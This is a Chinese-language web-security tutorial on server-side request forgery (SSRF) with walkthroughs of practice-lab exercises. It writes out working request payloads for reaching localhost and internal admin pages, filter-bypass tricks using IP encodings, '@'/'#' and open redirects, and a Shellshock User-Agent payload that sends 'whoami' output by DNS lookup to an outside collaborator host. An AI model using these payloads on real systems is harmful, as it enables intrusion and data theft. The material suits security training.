我说话你不信，那就让你girl friend说，看你信不信~WEB安全基础入门—服务器端请求伪造（SSRF）

欢迎关注订阅专栏！
WEB安全系列包括如下三个专栏：

• 《WEB安全基础-服务器端漏洞》
• 《WEB安全基础-客户端漏洞》
• 《WEB安全高级-综合利用》

知识点全面细致，逻辑清晰、结合实战，并配有大量练习靶场，让你读一篇、练一篇，掌握一篇，在学习路上事半功倍，少走弯路！
欢迎关注订阅专栏！

• 专栏文章追求对知识点的全面总结，逻辑严密，方便学习掌握。力求做到看完一篇文章，掌握一类漏洞知识。让读者简洁高效的掌握WEB安全知识框架，推开入门深造的大门。
• 绝不为了追求文章数量，彰显内容丰富而故意拆散相关知识点。避免读者沉迷在无尽的技巧中而迷失进阶的道路！本系列的目标是授之以渔，而不仅仅是技巧的堆砌。
• 每篇文章均配有大量靶场，点击文章中靶场名即可跳转练习（靶场在网站注册即可免费使用）。
• 欢迎订阅专栏！建议学完两个基础专栏，再学习高级哦~

1. 什么是SSRF

攻击者引诱后端服务器向其他后端发送伪造的请求称为SSRF。往往是向内网核心区建立请求连接，或使服务器主动连接外部系统，泄露敏感信息。

CSRF：是由客户端发起的跨站伪造请求，引诱其他用户执行恶意操作。
SSRF：是由后端服务向内网其他服务器发起伪造请求，引发内网间的未授权访问、敏感信息泄露等。

2. SSRF攻击原理

利用后端服务器间默认的信任关系，去引诱一台服务器向另一台服务器或内部系统发送访问的请求，实现未授权访问或获取敏感信息。这种攻击可以针对被引诱的服务器自身，也可针对内部有信任关系的其他系统。

2.1 针对服务器自身的SSRF攻击

攻击者使用应用程序向托管这个程序的服务器环回口（127.0.0.1或localhost）发出HTTP请求。

举例来说，购物程序允许用户查询某商品库存量，这个功能通过前端发送URL调用后端服务器的REST API来完成查询。通常HTTP如下：

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1

后端服务器查询结果后，将信息状态和数量返回给用户。但攻击者可尝试利用此点构造针对服务器自身的SSRF攻击，如下：

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://localhost/admin

后端服务器会获取`/admin`的页面，并将内容返还给用户。

正常情况下，攻击者直接访问/admin，因访问权限控制会被拒绝。但是服务器访问自身系统上运行的业务/admin页面，往往不受限制。就这样攻击者就简单的绕过了安全防护。这是SSRF最标准的攻击流程。

例题 1

在这种信任关系中，来自本地计算机的请求的处理方式与普通请求不同。基于如下几点因素，使后端存在这种信任关系。

• 访问控制检查可能都在前面的不同组件中实现。与服务器本身建立连接时，检查被绕过
• 出于灾难恢复的目的，应用程序可能允许来自本地计算机的任何用户在不登录的情况下进行管理访问。 当然这种情况的前提是， 只有完全受信任的用户才会直接使用服务器本身。而攻击就是要打破这种种的假设前提。
• 管理接口与主应用程序使用不同的端口号，因此对面向用户的端口设置了防护。但忽略了管理接口的防护。

2.2 针对后端其他系统的攻击

服务器能够与用户不能直接访问的其他后端系统交互。 通常这些后端系统使用外部不可以路由到的内网IP，所以安全防护比较薄弱。继续用上面的例子举例，如果/admin业务不在本地服务器，而是在另一台内网机器上（192.168.0.68），攻击荷载可改为

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://192.168.0.68/admin

例题 2

3. 绕过常规的SSRF防御

3.1 基于黑名单过滤的绕过

黑名单往往对127.0.0.1、localhost或类似/admin等敏感url进行过滤。绕过方法如下：

• 127.0.0.1的变形写法127.1 2130706433 017700000001
• 注册自己的域名，解析为127.0.0.1 可使用spoofed.burpCollaborator.net实现
• 敏感路径可使用大小写混用/AdmIn``重写/adadminmin混淆被过滤的字符串

例题 3

3.2 基于白名单匹配的绕过

一些网站采用白名单进行匹配，命中的URL可通过。有时可测试包含白名单开头，或部分来匹配。主要还是利用对URL解析的不一致来绕过白名单，尤其是URL规范中常备忽略的功能。

• URL路径中使用@，前面表示登陆账户凭据

https://expected-host@evil-host

• URL路径中使用#，表示url锚点或片段

https://evil-host#expected-host

• 利用DNS命名层次结构

https://expected-host.evil-host

• 对URL部分进行URL编码以混淆解析
• 上述多种方式的混合使用

例题 4

3.3 利用重定向绕过过滤

有时上面介绍的各种方法均不成功，可尝试查找目标应用中，是否可使用重定向绕过防护。示例如下：
/product/nextProduct?currentProductId=6&path=http://evil-user.net
网站解析支持重定向，解析结果为
http://evil-user.net
完整的SSRF攻击包实例如下：

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin

例题 5

3.4 盲注SSRF漏洞利用

原理与上面介绍的相同，唯一不同点就是响应结果，不再通过响应包返回至用户。导致无法直接获取敏感数据，或执行进一步的攻击。

• 使用外带技术（OAST）探测发现盲注SSRF漏洞

原理是，激发内网服务器向外部攻击者控制的域名发送HTTP请求，监控控制的域名下所有的流量，寻找是否有目标内网的交互。若存在，则证明存在SSRF潜在漏洞。
推荐使用工具Burp Collaborator，随机生成被使用者完全监测的域名，完成上述测试。

• 利用DNS lookup获取敏感信息

在控制的域名下插入子域名DNS lookup命令。一般内网会禁止服务器对外的任意网络链接，但往往会允许DNS流量通过（基础设施往往需要DNS服务），

例题 6

利用此种方法探测服务器本身或其他后端系统上的其他漏洞。您可以扫描内部IP地址空间，发送旨在检测已知漏洞的有效负载。如果这些有效负载还采用带外技术，那可能会在未打补丁的内部服务器上发现漏洞。

例题 7

4. 漏洞实例

1. 针对服务器自身的基本SSRF攻击（Basic SSRF against the local server）

• 目标

通过修改库存查询的URL，访问到只有管理员才能访问的http://localhost/admin路径模块，并删除用户carlos

• 解题思路
  1. 在查询库存量的流程中，发现数据包

POST /product/stock HTTP/1.1
Host: 0a03009503626052c08518b500aa008d.web-security-academy.net

stockApi=http%3a%2f%2flocalhost%2fadmin%2fdelete%3fusername%3dcarlos

2. 改下stockApi=http%3a%2f%2flocalhost%2fadmin得到在响应中发现/admin页面已返回，发现删除账户链接。

<a href="/admin/delete?username=carlos">

3. 接着构造数据包

POST /product/stock HTTP/1.1
Host: 0a03009503626052c08518b500aa008d.web-security-academy.net

stockApi=http%3a%2f%2flocalhost%2fadmin%2fdelete%3fusername%3dcarlos

2. 针对其他后端系统的基本SSRF攻击（Basic SSRF against another back-end system）

• 目标

通过修改库存查询的URL，扫描192.168.0/24网段的8080端口，删除用户carlos

• 解题思路
  1. 根据提示，将数据包POST /product/stock在192.168.0/24网段进行暴力破解，发现路径http://192.168.0.246:8080/admin
     
     后续操作与上题一致

3. 使用SSRF攻击绕过黑名单的过滤（SSRF with blacklist-based input filter）

• 目标

通过修改库存查询的URL，访问到只有管理员才能访问的http://localhost/admin路径模块，并删除用户carlos
网站有SSRF安全防护需绕过

• 解题思路

与第1题完全一样，仅是对localhost /admin有过滤限制，可使用大小写绕过。
http://lOcAlHoSt/AdMin

4. 使用SSRF攻击绕过白名单的匹配（SSRF with whitelist-based input filter）

• 目标

通过修改库存查询的URL，访问到只有管理员才能访问的http://localhost/admin路径模块，并删除用户carlos
网站有SSRF安全防护需绕过

• 解题思路
  1. 根据前文讲解，先测试@ 发现http://[email protected]，发生内部错误，证明未被过滤而是被解析。证明@后路径可被恶意利用。
  2. 测试# 发现只有结合双重url编码#时（%2523）有效，证明%2523前路径可被恶意利用
  3. 经多次测试，发下http://localhost:80%[email protected]/admin实际解析到了 http://localhost:80/admin
  4. 至此构造删除carlos的ssrf路径http://localhost:80%[email protected]/admin/delete?username=carlos

5. 利用重定向漏洞绕过SSRF防护（SSRF with filter bypass via open redirection vulnerability）

• 目标

通过修改库存查询的URL，访问到只有管理员才能访问的http://192.168.0.12:8080/admin路径模块，并删除用户carlos
网站有SSRF安全防护需绕过

• 解题思路

此题非常巧妙，是两种漏洞利用的典型，非常有借鉴意义。
经过上述漏洞的测试，我们已经知道：

• POST /product/stock 后端调用服务器发起访问，是个潜在的CSRF漏洞点。但是本次靶场加强防护后，之前的绕过方法均不可行

stockApi=%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1

• 功能点“下一篇文章”数据包存在重定向功能GET /product/nextProduct?currentProductId=1&path=/product?productId=2

HTTP/1.1 302 Found
Location: /product?productId=2
Connection: close
Content-Length: 0

• 是否可以尝试将这两个点搭配起来，思路是利用CSRF潜在漏洞为突破点，将其路径更改为这个重定向链接，path参数至为目标路径。

stockApi=/product/nextProduct?path=http://192.168.0.12:8080/admin
对参数值进行url编码，尝试成功访问到admin页面

6. 带外技术发现盲注SSRF漏洞（Blind SSRF with out-of-band detection）

• 目标

引起内网服务器与Burp Collaborator交互
网站对访问产品页面的外来请求中的Refer字段进行分析

• 解题思路
  

7. 使用盲注SSRF漏洞，配合shellshock（Blind SSRF with Shellshock exploitation）

• 目标

利用盲注SSRF发起对192.168.0/24段8080端口的攻击，获取系统用户名称
网站对访问产品页面的外来请求中的Refer字段进行分析
shellshock:() { :; };

• 解题思路

  1. 首先将应用网站加入target，使用Burp扩展 Collaborator Everywhere进行探测,发现存在反链，字段是User-Agent 和 Referer
     
     

  2. 构造攻击包思路，User-Agent字段发起shellshock的DNS反链攻击，获取系统用户名。Referer字段发起对整个192.168.0/24段8080端口的扫描

GET /product?productId=1 HTTP/1.1
Host: acf71f7c1edca9cac06a57730069009e.web-security-academy.net
User-Agent: () { :; }; /usr/bin/nslookup $(whoami).ivhnfk3ndo2e7eba5asalgxig9mzao.burpcollaborator.net   
Referer: http://192.168.0.§1§:8080   

3. 攻击成功